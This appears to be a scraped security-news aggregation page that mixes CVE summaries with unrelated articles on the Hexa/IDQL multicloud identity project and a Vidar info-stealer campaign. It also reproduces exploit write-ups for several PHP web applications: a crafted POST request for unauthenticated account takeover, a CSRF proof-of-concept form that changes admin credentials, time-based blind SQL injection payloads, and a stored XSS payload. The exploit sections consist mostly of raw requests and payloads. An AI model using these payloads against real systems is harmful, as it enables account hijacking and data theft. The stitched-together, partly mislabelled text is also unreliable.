Multi Store Inventory Management System v1.0 allows attackers to perform an account takeover via a crafted POST request.

    # Exploit Title: Multi Store Inventory Management System - Account Takeover (Unauthenticated)# Date: 04/04/2022# Exploit Author: Saud Alenazi# Vendor Homepage: https://www.bdtask.com/# Software Link: https://www.campcodes.com/projects/php/complete-multi-store-inventory-management-system-in-php-mysql/# Version: 1.0# Tested on: XAMPP, Windows 10# Contact: https://twitter.com/dmaral3noz# Description :An attacker can takeover any registered 'Staff' user account by just sending below POST requestBy changing the the "id", "email", "password" , "firstname" and "lastname" parameters#Steps to Reproduce :1. Send the below POST request by changing "id", "email", "password" parameters.2. Log in to the user account by changed email and password.################################################POST /multistore_demo/dashboard/home/setting HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------246162487211952414471071914687Content-Length: 1645Origin: http://localhostConnection: closeReferer: http://localhost/multistore_demo/dashboard/home/settingCookie: ci_session=31504fa8fdcd43505beff1b210056ec12d5d8405Upgrade-Insecure-Requests: 1-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="id"1-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="firstname"saud-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="lastname"test-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="email"s3od@hi.com-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="password"admin123-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="about"-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="old_image"-----------------------------246162487211952414471071914687Content-Disposition: form-data; name="image"; filename=""Content-Type: application/octet-stream-----------------------------246162487211952414471071914687--

CVE-2022-28993: Multi Store Inventory Management System 1.0 Account Takeover ≈ Packet Storm

Online Sports Complex Booking System v1.0 was discovered to contain a blind SQL injection vulnerability via the id parameter in /scbs/view_facility.php.

CVE-2022-28105

Foxit PDF Editor v11.3.1 was discovered to contain an arbitrary file upload vulnerability.

CVE-2022-28104: Security Bulletins | Foxit Software

A Cross-Site Request Forgery (CSRF) in Online Banquet Booking System v1.0 allows attackers to change admin credentials via a crafted POST request.

# Exploit Title: Online Banquet Booking System - 'change admin credentials' Cross-Site Request Forgery (CSRF)# Date: 04/04/2022# Exploit Author: Saud Alenazi# Vendor Homepage: https://phpgurukul.com# Software Link: https://phpgurukul.com/online-banquet-booking-system-using-php-and-mysql/# Version: 1.0# Tested on: XAMPP, Linux# Contact: https://twitter.com/dmaral3noz# Description :The application is not using any security token to prevent it against CSRF. Therefore, malicious user can change admin credentials by using crafted post request.# HTTPS Request :POST /obbs/admin/admin-profile.php HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 86Origin: http://localhostConnection: closeReferer: http://localhost/obbs/admin/admin-profile.phpCookie: PHPSESSID=5lotcnigq4mddq3rr6tnnlvn3eUpgrade-Insecure-Requests: 1adminname=Admin&username=admin&email=admin%40gmail.com&mobilenumber=5689784589&submit=# Poc Html :<html>    <body>  <script>history.pushState('', '', '/')</script>    <form action="http://localhost/obbs/admin/admin-profile.php" method="POST">      <input type="hidden" name="adminname" value="Admin" />      <input type="hidden" name="username" value="admin" />      <input type="hidden" name="email" value="admin@gmail.com" />      <input type="hidden" name="mobilenumber" value="123" />      <input type="hidden" name="submit" value="" />      <input type="submit" value="Submit request" />    </form>  </body></html>

CVE-2022-28992: Online Banquet Booking System 1.0 Cross Site Request Forgery ≈ Packet Storm

Hexa and IDQL allow organizations using cloud platforms such as Microsoft Azure, Amazon Web Services, and Google Cloud Platform to apply consistent access policy across all applications, regardless of environment.

Multicloud is a reality for many organizations – whether by design or accident. And when applications and data are deployed across multiple cloud environments, creating and managing consistent identity access policies become a challenge.

Hexa is a new open source project from identity orchestration company Strata Identity to unify disparate cloud identity systems and allow consistent policies. Since each cloud provider has its own tool and policy format, Hexa relies on IDQL, a common policy format for defining identity access policies, Strata says.

Each cloud provider relies on proprietary identity systems and its own policy languages to create and manage identity and access on its platform. Most security engineers tend to be well-versed in one, maybe two, of the public clouds, but rarely more than that. In the era of multicloud, however, security engineers need to be able to create, read, and manage policies across multiple environments and be able to keep up with changing tools and new capabilities. IDQL is the universal declarative policy language that can translate policies into the individual provider’s proprietary format, says Gerry Gebel, Strata Identity’s head of standards. Hexa is the reference software built on top of the IDQL policy language and handles the tasks of discovering, translating, and orchestration policies across cloud environments, he says.

“Hexa is the open source reference software that brings IDQL to life and makes it operational in the real world,” Gebel says.

**Case for Managing Cloud Identities**

In a recent Dark Reading Report on the state of cloud computing, just 19% of respondents said their organizations work with only one cloud provider, while 43% said they worked with two to three providers. There are many reasons why organizations may be juggling multiple cloud providers. Organizations may require multicloud for redundancy and resiliency – such as one provider experiencing an outage – or to meet regulatory requirements about where the data could be stored. In some organizations, cloud infrastructure may have been originally set up without IT’s awareness, which is why the provider and policies may not be in sync with others.

Regardless of the reasons that led to multicloud, identity and access need to be consistent and managed. In a report from Palo Alto Networks, Unit42 researchers analyzed more than 680,000 identities across 18,000 cloud accounts and over 200 different organizations, and found 99% of cloud users, roles, services, and resources were granted excessive permissions. Not only were the permissions excessive, they were also left unused for 60 days, the report found.

Misconfigured identities are behind 65% of detected cloud security incidents, Unit42 said. Threat actors can abuse these identities and move laterally through the cloud environment or expand the pool of systems they can target.

Strata Identity’s own research found that only 25% of respondents said they have visibility into multicloud access policies.

**A Universal Policy Language**

Each cloud provider has its own identity system, and each application has to be hard-coded to work with that identity system. If the application is to work on multiple cloud platforms, traditionally the application would have to be modified for each one. Hexa, however, has been designed to use IDQL to bring multiple identity systems to work together as a unified whole and not have to make changes to the applications, according to Strata Identity. For policy discovery, Hexa abstracts identity and access policies from cloud platforms, authorization systems, data resources, and zero-trust networks.

Strata Identity set up an example multiregional banking application to demonstrate Hexa and its policy discovery management capabilities, Gebel says. The US region in this scenario deploys the application on Google Cloud Platform using App Engine, while another two regions rely on Kubernetes. Hexa connects to the Google Cloud instance to discover the resources and associated policies, and then converts the policies into IDQL. The analyst can make changes to the policies and then use Hexa to translate the new policies back into GCP format and push the changes on to the platform, he explains.

Hexa handles policy discovery by analyzing the environment to discover applications and resources being used and creating an inventory of all existing policies, users, and roles. Security teams have a comprehensive view of all the policies in place once they have been retrieved and translated into IDQL. Organizations can potentially develop tools to analyze the ISQL for any policy gaps, duplicates, or other error conditions. This capability is not in the open source Hexa, Gebel says, but it is something organizations can do on their own after converting to IDQL.

While it may seem that IDQL adds a layer of complexity to cloud identity access management, the reality is that organizations have to manage hundreds to thousands of cloud, SaaS, and on-premises apps, says Jack Poller, an ESG analyst covering identity and data security. Each application has a separate concept of identity and access authorization, and organizations are currently stuck with manually translating high level business access policies into each application’s own policy language or management tool.

"IDQL provides a lingua franca for authorization policies," Poller says. "Organizations can use Hexa or develop their own tools to orchestrate and automate access policies throughout the IT environment, closing the gaps that occur with manual policy management and ensuring continuous and consistent application of authorization policies."

**Cross-Platform Technologies**

IDQL and Hexa were created by some of the co-authors of Security Assertion Markup Language (SAML), the cross-platform standard for single sign-on that lets users move across cloud platforms and Web applications without re-entering their credentials. However, Gebel notes that IDQL should not be viewed as a replacement for modern standards such as the Open Policy Agent (OPA), but "are complementary to them."

OPA is a unified declarative policy language that enables cloud-native developers to "decouple policy from the service's code so you can release, analyze, and review policies (which security and compliance teams love) without sacrificing availability or performance," Poller says, noting that IDQL is very similar to OPA.

"Just as Kubernetes transformed computing by allowing applications to transparently move from one machine to another, IDQL enables access policies to move freely between proprietary identity systems," said Eric Olden, CEO of Strata Identity and one of the co-authors of the SAML standard, said in a statement. "IDQL and Hexa eliminate identity silos in the cloud and on-premises by creating an intelligent, distributed identity system with one brain."

New Open Source Project Brings Consistent Identity Access to Multicloud

Fraudulent domains masquerading as Microsoft's Windows 11 download portal are attempting to trick users into deploying trojanized installation files to infect systems with the Vidar information stealer malware.
"The spoofed sites were created to distribute malicious ISO files which lead to a Vidar info-stealer infection on the endpoint," Zscaler said in a report. "These variants of Vidar malware

Fraudulent domains masquerading as Microsoft's Windows 11 download portal are attempting to trick users into deploying trojanized installation files to infect systems with the Vidar information stealer malware.

"The spoofed sites were created to distribute malicious ISO files which lead to a Vidar info-stealer infection on the endpoint," Zscaler said in a report. "These variants of Vidar malware fetch the C2 configuration from attacker-controlled social media channels hosted on Telegram and Mastodon network."

Some of the rogue distribution vector domains, which were registered last month on April 20, consist of ms-win11\[.\]com, win11-serv\[.\]com, and win11install\[.\]com, and ms-teams-app\[.\]net.

In addition, the cybersecurity firm cautioned that the threat actor behind the impersonation campaign is also leveraging backdoored versions of Adobe Photoshop and other legitimate software such as Microsoft Teams to deliver Vidar malware.

The ISO file, for its part, contains an executable that's unusually large in size (over 300MB) in an attempt to evade detection by security solutions and is signed with an expired certificate from Avast that was likely stolen following the latter's breach in October 2019.

But embedded within the 330MB binary is a 3.3MB-sized executable that's the Vidar malware, with the rest of the file content padded with 0x10 bytes to artificially inflate the size.

In the next phase of the attack chain, Vidar establishes connections to a remote command-and-control (C2) server to retrieve legitimate DLL files such as sqlite3.dll and vcruntime140.dll to siphon valuable data from compromised systems.

Also notable is the abuse of Mastodon and Telegram by the threat actor to store the C2 IP address in the description field of the attacker-controlled accounts and communities.

The findings add to a list of different methods that have been uncovered in the past month to distribute the Vidar malware, including Microsoft Compiled HTML Help (CHM) files and a loader called Colibri.

"The threat actors distributing Vidar malware have demonstrated their ability to social engineer victims into installing Vidar stealer using themes related to the latest popular software applications," the researchers said.

"As always, users should be cautious when downloading software applications from the Internet and download software only from the official vendor websites."

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Hackers Trick Users with Fake Windows 11 Downloads to Distribute Vidar Malware

Online Sports Complex Booking System 1.0 is vulnerable to SQL Injection via /scbs/classes/Users.php?f=delete_client.

    #### Title: Online Sports Complex Booking System 1.0 SQL Injection#### Author: Zllggggg#### Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html#### Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zip####  Reference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20SQL%20Injection(%E4%BA%8C).md#### Tested on: Windows, MySQL, ApacheAfter entering the background, click the registered clients navigation, select a piece of data and click delete[image: 1648884355.jpg]Find the corresponding source code and find that the ID parameter passed bypost does not have any filtering[image: 1648884613.jpg]The vulnerability is also verified in sqlmap [image: 1648884408.jpg]Data packet```POST /scbs/classes/Users.php?f=delete_client HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 4Origin: http://localhostConnection: closeReferer: http://localhost/scbs/admin/?page=clientsCookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originid=2```Payload```Parameter: id (POST)    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=1' AND (SELECT 4836 FROM (SELECT(SLEEP(5)))QbFZ) AND'aPSM'='aPSM---```

CVE-2022-28962: Online Sports Complex Booking System 1.0 SQL Injection ≈ Packet Storm

Spip Web Framework v3.1.13 and below was discovered to contain multiple SQL injection vulnerabilities at /ecrire via the lier_trad and where parameters.

CVE-2022-28961

Online Sports Complex Booking System 1.0 is vulnerable to SQL Injection via /scbs/classes/Users.php?f=save_client.

    Title: Online Sports Complex Booking System 1.0 XSSAuthor: ZllgggggVendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.htmlSoftware: https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs_1.zipReference: https://github.com/playZG/Exploit-/blob/main/Online%20Sports%20Complex%20Booking%20System/Online%20Sports%20Complex%20Booking%20System%201.0%20XSS%20loophole.mdTested on: Windows, MySQL, ApacheDescription:When registering users at the front desk, when we fill in the information,we use burpsuite to catch the data packet,After obtaining the data packet,modify the email parameter to <script>alert(1)</script> then send thepacket,Then log in to the background with the administrator account ,Clickregistered clients to trigger the pop-up windowData packetPOST /scbs/classes/Users.php?f=save_client HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0)Gecko/20100101 Firefox/98.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data;boundary=---------------------------289647566033806702832762971625Content-Length: 1284Origin: http://localhostConnection: closeReferer: http://localhost/scbs/register.phpCookie: PHPSESSID=trkbdt4th4hlsp7bpriuih1816Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="id"1-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="firstname"ca-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="middlename"ca-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="lastname"ca-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="gender"Male-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="contact"ca-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="address"ca-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="email"<script>alert(1)</script>-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="password"123-----------------------------289647566033806702832762971625Content-Disposition: form-data; name="img"; filename=""Content-Type: application/octet-stream-----------------------------289647566033806702832762971625--

CVE-2022-29652: Online Sports Complex Booking System 1.0 Cross Site Scripting ≈ Packet Storm

Online Sports Complex Booking System 1.0 is vulnerable to SQL Injection via /classes/master.php?f=delete_ Facility.

**Title: Online Sports Complex Booking System 1.0 SQL Injection****Author: Zllggggg****Vendor: https://www.sourcecodester.com/php/15236/online-sports-complex-booking-system-phpmysql-free-source-code.html****Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/scbs\_1.zip****Tested on: Windows, MySQL, Apache**

After the program is installed, enter the background, find the facility list in the right navigation bar, select a piece of data, and click the delete button 

According to the submission path /classes/master.php?f=delete\_ Facility, Find delete\_facility(),The ID parameter does not have any filtering,Therefore, SQL injection is caused 

Because the parameters are submitted in post mode,Use burpsuite to intercept and save it as a TXT file,Then use sqlmap to verify sqlmap -r 2.txt 

Data packet

    POST /scbs/classes/Master.php?f=delete_facility HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 4
    Origin: http://localhost
    Connection: close
    Referer: http://localhost/scbs/admin/?page=facilities
    Cookie:PHPSESSID=t261ncguifvbucmfe31v6l74km
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    id=1
    

Payload

    Parameter: id (POST)
    
        Type: time-based blind
        Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
        Payload: id=1' AND (SELECT 4984 FROM (SELECT(SLEEP(5)))KDjE) AND 'riWF'='riWF

Tag

#sql